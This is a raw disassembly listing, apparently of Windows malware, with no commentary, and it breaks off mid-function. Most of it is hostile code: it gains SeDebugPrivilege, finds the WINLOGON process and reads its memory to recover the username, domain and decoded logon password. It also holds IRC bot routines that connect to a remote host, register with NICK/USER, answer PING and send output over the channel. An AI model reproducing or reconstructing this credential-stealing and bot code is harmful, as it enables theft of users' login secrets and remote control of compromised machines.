push [ebp+arg_10] lea eax, [ebp+var_244] push offset dword_44EB48 push esi push eax call sub_41EC30 mov edi, ds:off_4F53F0 add esp, 10h lea eax, [ebp+var_140] push eax lea eax, [ebp+var_244] push eax call edi ; sub_50A334 mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_4177D7 loc_417764: ; CODE XREF: sub_41771E+B7j test [ebp+var_140], 10h jz short loc_4177C5 cmp [ebp+var_114], 2Eh jnz short loc_417788 cmp [ebp+var_113], 0 jz short loc_4177C5 cmp [ebp+var_113], 2Eh jz short loc_4177C5 loc_417788: ; CODE XREF: sub_41771E+56j lea eax, [ebp+var_114] push eax lea eax, [ebp+var_348] push [ebp+arg_10] push offset dword_44EB50 push esi push eax call sub_41EC30 push [ebp+arg_14] lea eax, [ebp+var_348] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41771E add esp, 2Ch mov [ebp+arg_14], eax loc_4177C5: ; CODE XREF: sub_41771E+4Dj ; sub_41771E+5Fj ... lea eax, [ebp+var_140] push eax push ebx call ds:off_4F53EC test eax, eax jnz short loc_417764 loc_4177D7: ; CODE XREF: sub_41771E+44j push ebx mov ebx, ds:off_4F53E0 call ebx ; sub_50A5FF push [ebp+arg_C] lea eax, [ebp+var_244] push [ebp+arg_10] push offset dword_44EB58 push esi push eax call sub_41EC30 add esp, 14h lea eax, [ebp+var_140] push eax lea eax, [ebp+var_244] push eax call edi ; sub_50A334 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_417861 loc_417812: ; CODE XREF: sub_41771E+141j lea eax, [ebp+var_114] inc [ebp+arg_14] push eax lea eax, [ebp+var_548] push [ebp+arg_10] push offset dword_44EB60 push 200h push eax call sub_41EC30 push 1 lea eax, [ebp+var_548] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 28h lea eax, [ebp+var_140] push eax push esi call ds:off_4F53EC test eax, eax jnz short loc_417812 loc_417861: ; CODE XREF: sub_41771E+F2j push esi call ebx ; sub_50A5FF mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_41771E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41786C proc near ; DATA XREF: sub_401C87+1C7Do var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] rep movsd xor esi, esi inc esi mov [eax+90h], esi call sub_41B56E cmp eax, esi mov [ebp+var_4], eax jz short loc_4178AB cmp eax, 2 jz short loc_4178AB push offset unk_44EB80 jmp loc_4179EA ; --------------------------------------------------------------------------- loc_4178AB: ; CODE XREF: sub_41786C+2Ej ; sub_41786C+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41A2C9 pop ecx test eax, eax pop ecx jz loc_4179E5 push ebx push offset aNtdll_dll ; "NTDLL.DLL" call ds:off_4F538C mov esi, ds:off_4F5390 mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi ; sub_50B076 push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov ds:dword_4EBE3C, eax call esi ; sub_50B076 push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov ds:dword_4EBE30, eax call esi ; sub_50B076 push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov ds:dword_4EC040, eax call esi ; sub_50B076 push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov ds:dword_4EBE38, eax call esi ; sub_50B076 mov ds:dword_4EBE34, eax call sub_417A3E test eax, eax mov [ebp+arg_0], eax jz loc_4179B8 mov esi, ds:dword_4F52D4 mov edi, 400h mov ebx, offset dword_4EAE30 push edi push ebx push offset aUsername ; "USERNAME" call esi ; GetEnvironmentVariableW push edi mov edi, offset dword_4EB630 push edi push offset aUserdomain ; "USERDOMAIN" call esi ; GetEnvironmentVariableW cmp [ebp+var_4], 1 push offset dword_4EC044 push [ebp+arg_0] jnz short loc_417964 call sub_417BC7 jmp short loc_417969 ; --------------------------------------------------------------------------- loc_417964: ; CODE XREF: sub_41786C+EFj call sub_417D6B loc_417969: ; CODE XREF: sub_41786C+F6j pop ecx test eax, eax pop ecx jz short loc_4179B1 cmp ds:dword_4EC044, 0 jnz short loc_417998 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_44EC90 push 200h push eax call sub_41EC30 add esp, 18h jmp short loc_4179CB ; --------------------------------------------------------------------------- loc_417998: ; CODE XREF: sub_41786C+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_4179A8 call sub_417E98 jmp short loc_4179AD ; --------------------------------------------------------------------------- loc_4179A8: ; CODE XREF: sub_41786C+133j call sub_417F2F loc_4179AD: ; CODE XREF: sub_41786C+13Aj pop ecx push eax jmp short loc_4179BD ; --------------------------------------------------------------------------- loc_4179B1: ; CODE XREF: sub_41786C+101j push offset unk_44ECEC jmp short loc_4179BD ; --------------------------------------------------------------------------- loc_4179B8: ; CODE XREF: sub_41786C+B6j push offset unk_44ED24 loc_4179BD: ; CODE XREF: sub_41786C+143j ; sub_41786C+14Aj lea eax, [ebp+var_29C] push eax call sub_41EA60 pop ecx pop ecx loc_4179CB: ; CODE XREF: sub_41786C+12Aj push 0 push offset aSedebugprivi_0 ; "SeDebugPrivilege" call sub_41A2C9 pop ecx pop ecx push [ebp+var_8] call ds:off_4F5410 pop ebx jmp short loc_4179F8 ; --------------------------------------------------------------------------- loc_4179E5: ; CODE XREF: sub_41786C+4Ej push offset unk_44ED64 loc_4179EA: ; CODE XREF: sub_41786C+3Aj lea eax, [ebp+var_29C] push eax call sub_41EA60 pop ecx pop ecx loc_4179F8: ; CODE XREF: sub_41786C+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_417A1F push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409C75 add esp, 14h loc_417A1F: ; CODE XREF: sub_41786C+191j lea eax, [ebp+var_29C] push eax call sub_415A3C push [ebp+var_18] call sub_40B9A7 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_41786C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417A3E proc near ; CODE XREF: sub_41786C+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, ds:dword_4F541C mov ebx, 100h push edi push ebx push 8 call esi ; GetProcessHeap mov edi, ds:dword_4F5418 push eax call edi ; RtlAllocateHeap mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call ds:dword_4EBE3C push ebp push 0 call esi ; GetProcessHeap push eax call ds:dword_4F5414 ; RtlFreeHeap push [esp+28h+var_14] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call ds:dword_4EBE3C test eax, eax jnz short loc_417B2B mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_417B2B xor ecx, ecx mov ebx, ebp inc ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_417B2B loc_417AC7: ; CODE XREF: sub_417A3E+EBj cmp word ptr [ebx+8], 5 jnz short loc_417B1E push 0 push 0 call ds:dword_4EBE30 mov edi, eax push edi push 1 push dword ptr [ebx+4] call ds:dword_4EC040 test eax, eax jnz short loc_417B0F mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_421620 pop ecx push eax call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_417B43 loc_417B0F: ; CODE XREF: sub_417A3E+AAj test edi, edi jz short loc_417B1A push edi call ds:dword_4EBE38 loc_417B1A: ; CODE XREF: sub_417A3E+D3j mov eax, [esp+28h+var_10] loc_417B1E: ; CODE XREF: sub_417A3E+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_417AC7 loc_417B2B: ; CODE XREF: sub_417A3E+6Dj ; sub_417A3E+7Aj ... xor edi, edi loc_417B2D: ; CODE XREF: sub_417A3E+17Dj push ebp push 0 call esi ; GetProcessHeap push eax call ds:dword_4F5414 ; RtlFreeHeap mov eax, edi loc_417B3B: ; CODE XREF: sub_417A3E+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_417B43: ; CODE XREF: sub_417A3E+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_417BAC lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417B59: ; CODE XREF: sub_417A3E+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_421620 pop ecx push eax call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_417BC0 push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_421620 pop ecx push eax call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_417B9E mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_417B9E: ; CODE XREF: sub_417A3E+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417B59 loc_417BAC: ; CODE XREF: sub_417A3E+10Fj test edi, edi jz short loc_417BB7 push edi call ds:dword_4EBE38 loc_417BB7: ; CODE XREF: sub_417A3E+170j mov edi, [esp+28h+var_4] jmp loc_417B2D ; --------------------------------------------------------------------------- loc_417BC0: ; CODE XREF: sub_417A3E+13Cj xor eax, eax jmp loc_417B3B sub_417A3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417BC7 proc near ; CODE XREF: sub_41786C+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h call ds:dword_4F5358 ; OpenProcess cmp eax, esi mov [ebp+var_4], eax jnz short loc_417BF0 xor eax, eax jmp loc_417D68 ; --------------------------------------------------------------------------- loc_417BF0: ; CODE XREF: sub_417BC7+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax call ds:dword_4F5428 ; GetSystemInfo push [ebp+var_60] mov [ebp+var_8], esi mov esi, ds:dword_4F541C push 8 call esi ; GetProcessHeap mov edi, ds:dword_4F5418 push eax call edi ; RtlAllocateHeap lea ecx, [ebp+var_8] mov ebx, ds:dword_4F5424 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jnz short loc_417C40 xor esi, esi jmp loc_417D5B ; --------------------------------------------------------------------------- loc_417C40: ; CODE XREF: sub_417BC7+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call ds:dword_4F5420 ; VirtualQueryEx test eax, eax jz loc_417D4A mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_417D4A test [ebp+var_2B], 1 jnz loc_417D4A push [ebp+var_34] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jz loc_417D4A loc_417CA3: ; CODE XREF: sub_417BC7+110j push edi push offset dword_4EAE30 call sub_43ACF0 pop ecx test eax, eax pop ecx jnz short loc_417CCB lea eax, [edi+200h] push eax push offset dword_4EB630 call sub_43ACF0 pop ecx test eax, eax pop ecx jz short loc_417CDB loc_417CCB: ; CODE XREF: sub_417BC7+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jb short loc_417CA3 jmp short loc_417D4A ; --------------------------------------------------------------------------- loc_417CDB: ; CODE XREF: sub_417BC7+102j test edi, edi jz short loc_417D4A lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax call ds:dword_4F53E8 ; FileTimeToLocalFileTime test eax, eax jz short loc_417D16 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax call ds:dword_4F53E4 ; FileTimeToSystemTime test eax, eax jz short loc_417D16 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_417D16: ; CODE XREF: sub_417BC7+12Bj ; sub_417BC7+13Dj movzx eax, byte ptr [edi+42Dh] mov ds:dword_4EC050, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov ds:dword_4EC048, eax mov ds:dword_4EC04C, edi loc_417D4A: ; CODE XREF: sub_417BC7+90j ; sub_417BC7+A2j ... push [ebp+arg_0] push 0 call esi ; GetProcessHeap push eax call ds:dword_4F5414 ; RtlFreeHeap mov esi, [ebp+var_10] loc_417D5B: ; CODE XREF: sub_417BC7+74j push [ebp+var_4] call ds:off_4F533C pop edi mov eax, esi pop ebx loc_417D68: ; CODE XREF: sub_417BC7+24j pop esi leave retn sub_417BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417D6B proc near ; CODE XREF: sub_41786C:loc_417964p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push [ebp+arg_0] push 0 push 410h call ds:dword_4F5358 ; OpenProcess test eax, eax mov [ebp+arg_0], eax jnz short loc_417D8A leave retn ; --------------------------------------------------------------------------- loc_417D8A: ; CODE XREF: sub_417D6B+1Bj mov eax, [ebp+arg_4] push ebx push esi push edi and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call ds:dword_4F5428 ; GetSystemInfo mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417E52 mov edi, ds:dword_4F541C loc_417DB4: ; CODE XREF: sub_417D6B+E1j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] call ds:dword_4F5420 ; VirtualQueryEx test eax, eax jz short loc_417E40 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_417E46 test [ebp+var_13], 1 jnz short loc_417E46 push ecx push 8 call edi ; GetProcessHeap push eax call ds:dword_4F5418 ; RtlAllocateHeap mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call ds:dword_4F5424 ; ReadProcessMemory test eax, eax jz short loc_417E32 push offset dword_4EAE30 push esi call sub_43ACF0 pop ecx test eax, eax pop ecx jnz short loc_417E32 lea eax, [esi+400h] push offset dword_4EB630 push eax call sub_43ACF0 pop ecx test eax, eax pop ecx jz short loc_417E64 loc_417E32: ; CODE XREF: sub_417D6B+9Dj ; sub_417D6B+AEj push esi push 0 call edi ; GetProcessHeap push eax call ds:dword_4F5414 ; RtlFreeHeap jmp short loc_417E46 ; --------------------------------------------------------------------------- loc_417E40: ; CODE XREF: sub_417D6B+5Bj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_417E46: ; CODE XREF: sub_417D6B+6Fj ; sub_417D6B+75j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_417DB4 loc_417E52: ; CODE XREF: sub_417D6B+3Dj xor esi, esi loc_417E54: ; CODE XREF: sub_417D6B+12Bj push [ebp+arg_0] call ds:off_4F533C mov eax, esi pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417E64: ; CODE XREF: sub_417D6B+C5j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov ds:dword_4EC048, ebx mov ds:dword_4EC04C, eax cmp [eax], cl jnz short loc_417E86 cmp [eax+1], cl jz short loc_417E8E loc_417E86: ; CODE XREF: sub_417D6B+114j ; sub_417D6B+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417E86 loc_417E8E: ; CODE XREF: sub_417D6B+119j mov eax, [ebp+arg_4] xor esi, esi inc esi mov [eax], ecx jmp short loc_417E54 sub_417D6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E98 proc near ; CODE XREF: sub_41786C+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, ds:dword_4EC044 push esi mov esi, ds:dword_4F541C push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi ; GetProcessHeap push eax call ds:dword_4F5418 ; RtlAllocateHeap mov ecx, ds:dword_4EC044 mov [ebp+var_4], eax add ecx, ecx push ecx push ds:dword_4EC04C push eax call sub_41FBF0 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr ds:dword_4EC050 push eax call ds:dword_4EBE34 push [ebp+var_4] mov edi, offset dword_4EBE40 push offset dword_4EAE30 push offset dword_4EB630 push [ebp+arg_0] push offset dword_44EDB8 push 200h push edi call sub_41EC30 add esp, 1Ch push [ebp+var_4] push 0 call esi ; GetProcessHeap push eax call ds:dword_4F5414 ; RtlFreeHeap mov eax, edi pop edi pop esi leave retn sub_417E98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F2F proc near ; CODE XREF: sub_41786C:loc_4179A8p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, ds:dword_4EC044 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call ds:dword_4F541C ; GetProcessHeap push eax call ds:dword_4F5418 ; RtlAllocateHeap and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4EB630 mov edi, 200h mov esi, offset dword_4EAC30 loc_417F75: ; CODE XREF: sub_417F2F+FAj mov eax, ds:dword_4EC044 add eax, eax push eax push ds:dword_4EC04C push [ebp+var_14] call sub_41FBF0 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call ds:dword_4EBE34 mov eax, ds:dword_4EC044 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_417FEA loc_417FB2: ; CODE XREF: sub_417F2F+B3j cmp [ebp+var_8], 0 jz short loc_418007 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417FD6 cmp byte ptr [ecx+1], 0 jnz short loc_417FD6 cmp dl, 20h jnb short loc_417FD0 and [ebp+var_8], 0 loc_417FD0: ; CODE XREF: sub_417F2F+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417FDA loc_417FD6: ; CODE XREF: sub_417F2F+90j ; sub_417F2F+96j and [ebp+var_8], 0 loc_417FDA: ; CODE XREF: sub_417F2F+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_417FB2 cmp [ebp+var_8], 0 jz short loc_418007 loc_417FEA: ; CODE XREF: sub_417F2F+81j push [ebp+var_14] push offset dword_4EAE30 push ebx push [ebp+arg_0] push offset dword_44EE08 push edi push esi call sub_41EC30 add esp, 1Ch jmp short loc_41801F ; --------------------------------------------------------------------------- loc_418007: ; CODE XREF: sub_417F2F+87j ; sub_417F2F+B9j push offset dword_4EAE30 push ebx push [ebp+arg_0] push offset dword_44EE58 push edi push esi call sub_41EC30 add esp, 18h loc_41801F: ; CODE XREF: sub_417F2F+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_417F75 push [ebp+var_14] push 0 call ds:dword_4F541C ; GetProcessHeap push eax call ds:dword_4F5414 ; RtlFreeHeap mov eax, esi pop edi pop esi pop ebx leave retn sub_417F2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418048 proc near ; CODE XREF: sub_41820B+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call ds:dword_4E3048 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_4180C4 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41E4B0 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call ds:dword_4E2FC8 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call ds:dword_4E3008 ; inet_addr cmp eax, esi jnz short loc_4180A9 push [ebp+arg_0] call ds:dword_4E304C ; gethostbyname test eax, eax jz short loc_4180C4 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_4180A9: ; CODE XREF: sub_418048+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call ds:dword_4E2F70 ; connect cmp eax, esi jnz short loc_4180C8 push edi call ds:dword_4E3060 ; closesocket loc_4180C4: ; CODE XREF: sub_418048+1Bj ; sub_418048+58j mov eax, esi jmp short loc_4180CA ; --------------------------------------------------------------------------- loc_4180C8: ; CODE XREF: sub_418048+73j mov eax, edi loc_4180CA: ; CODE XREF: sub_418048+7Ej pop edi pop esi leave retn sub_418048 endp ; =============== S U B R O U T I N E ======================================= sub_4180CE proc near ; CODE XREF: sub_401C87+3298p ; sub_401C87+3301p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_44FA88 ; "\n " push edi call sub_41F630 pop ecx mov esi, offset dword_4EC05C pop ecx loc_4180E6: ; CODE XREF: sub_4180CE+42j cmp dword ptr [esi-4], 1 jnz short loc_418104 cmp dword ptr [esi], 0 jbe short loc_418104 push 0 push edi call sub_41BC70 pop ecx push eax push edi push dword ptr [esi] call ds:dword_4E3018 ; send loc_418104: ; CODE XREF: sub_4180CE+1Cj ; sub_4180CE+21j add esi, 210h cmp esi, offset byte_4F277C jl short loc_4180E6 pop edi pop esi retn sub_4180CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418115 proc near ; CODE XREF: sub_41820B+14Fp var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push esi push edi push 44FA8Ah push [ebp+arg_0] call sub_41F870 xor esi, esi pop ecx inc esi pop ecx mov [ebp+var_20], eax xor edi, edi loc_418137: ; CODE XREF: sub_418115+37j push 44FA8Ch push edi call sub_41F870 mov [ebp+esi*4+var_20], eax inc esi pop ecx cmp esi, 8 pop ecx jl short loc_418137 cmp [ebp+var_20], edi mov esi, [ebp+var_1C] jnz short loc_418162 cmp esi, edi jnz short loc_418162 xor eax, eax inc eax jmp loc_418207 ; --------------------------------------------------------------------------- loc_418162: ; CODE XREF: sub_418115+3Fj ; sub_418115+43j push [ebp+var_20] push offset aPing_1 ; "PING" call sub_41F7E0 pop ecx pop ecx test eax, eax push esi jnz short loc_41818C lea eax, [ebp+var_220] push offset aPongS_0 ; "PONG %s\n" push eax call sub_41EA60 add esp, 0Ch jmp short loc_4181E6 ; --------------------------------------------------------------------------- loc_41818C: ; CODE XREF: sub_418115+5Fj push offset a433_0 ; "433" call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_4181AD push esi push offset a432 ; "432" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_418205 loc_4181AD: ; CODE XREF: sub_418115+85j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41E4B0 lea eax, [ebp+var_420] push eax call sub_418428 lea eax, [ebp+var_420] push eax lea eax, [ebp+var_220] push offset aNickS_5 ; "NICK %s\n" push eax call sub_41EA60 add esp, 1Ch loc_4181E6: ; CODE XREF: sub_418115+75j lea eax, [ebp+var_220] push edi push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call ds:dword_4E3018 ; send loc_418205: ; CODE XREF: sub_418115+96j xor eax, eax loc_418207: ; CODE XREF: sub_418115+48j pop edi pop esi leave retn sub_418115 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41820B proc near ; DATA XREF: sub_4183AA+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41EF80 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h xor edi, edi push ds:dword_4EC264[esi] lea eax, dword_4EC064[esi] inc edi push eax mov ds:dword_4EC058[esi], edi call sub_418048 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov ds:dword_4EC05C[esi], eax jb loc_41838A mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41E4B0 lea eax, [ebp+var_2008] push eax call sub_418428 lea eax, [ebp+var_4008] push eax call sub_418428 lea eax, [ebp+var_3008] push eax call sub_418428 lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41EA60 add esp, 2Ch lea eax, [ebp+var_1008] push ebx push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_1008] push eax push ds:dword_4EC05C[esi] call ds:dword_4E3018 ; send push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41E4B0 add esp, 0Ch loc_4182E4: ; CODE XREF: sub_41820B+17Aj push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push ds:dword_4EC05C[esi] call ds:dword_4E2FE0 ; recv cmp eax, ebx mov [ebp+var_8], eax jle short loc_41838A xor eax, eax cmp [ebp+var_8], ebx jmp short loc_418380 ; --------------------------------------------------------------------------- loc_418318: ; CODE XREF: sub_41820B+178j mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_41833F cmp al, 0Ah jz short loc_41833F cmp [ebp+arg_0], 0FA0h jz short loc_41833F mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_418379 ; --------------------------------------------------------------------------- loc_41833F: ; CODE XREF: sub_41820B+116j ; sub_41820B+11Aj ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_418379 push ds:dword_4EC05C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_418115 pop ecx test eax, eax pop ecx ja short loc_41838A push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41E4B0 add esp, 0Ch mov [ebp+arg_0], ebx loc_418379: ; CODE XREF: sub_41820B+132j ; sub_41820B+139j mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] loc_418380: ; CODE XREF: sub_41820B+10Bj mov [ebp+var_4], eax jnz short loc_418318 jmp loc_4182E4 ; --------------------------------------------------------------------------- loc_41838A: ; CODE XREF: sub_41820B+40j ; sub_41820B+104j ... mov ds:dword_4EC058[esi], ebx mov esi, ds:dword_4EC05C[esi] cmp esi, ebx jbe short loc_4183A1 push esi call ds:dword_4E3060 ; closesocket loc_4183A1: ; CODE XREF: sub_41820B+18Dj pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_41820B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4183AA proc near ; CODE XREF: sub_401C87+31EBp var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_418423 loc_4183BC: ; CODE XREF: sub_4183AA+77j xor edi, edi mov eax, offset dword_4EC058 loc_4183C3: ; CODE XREF: sub_4183AA+28j cmp [eax], ebx jz short loc_4183D4 add eax, 210h inc edi cmp eax, offset byte_4F2778 jl short loc_4183C3 loc_4183D4: ; CODE XREF: sub_4183AA+1Bj cmp edi, 31h jz short loc_418423 mov esi, edi push 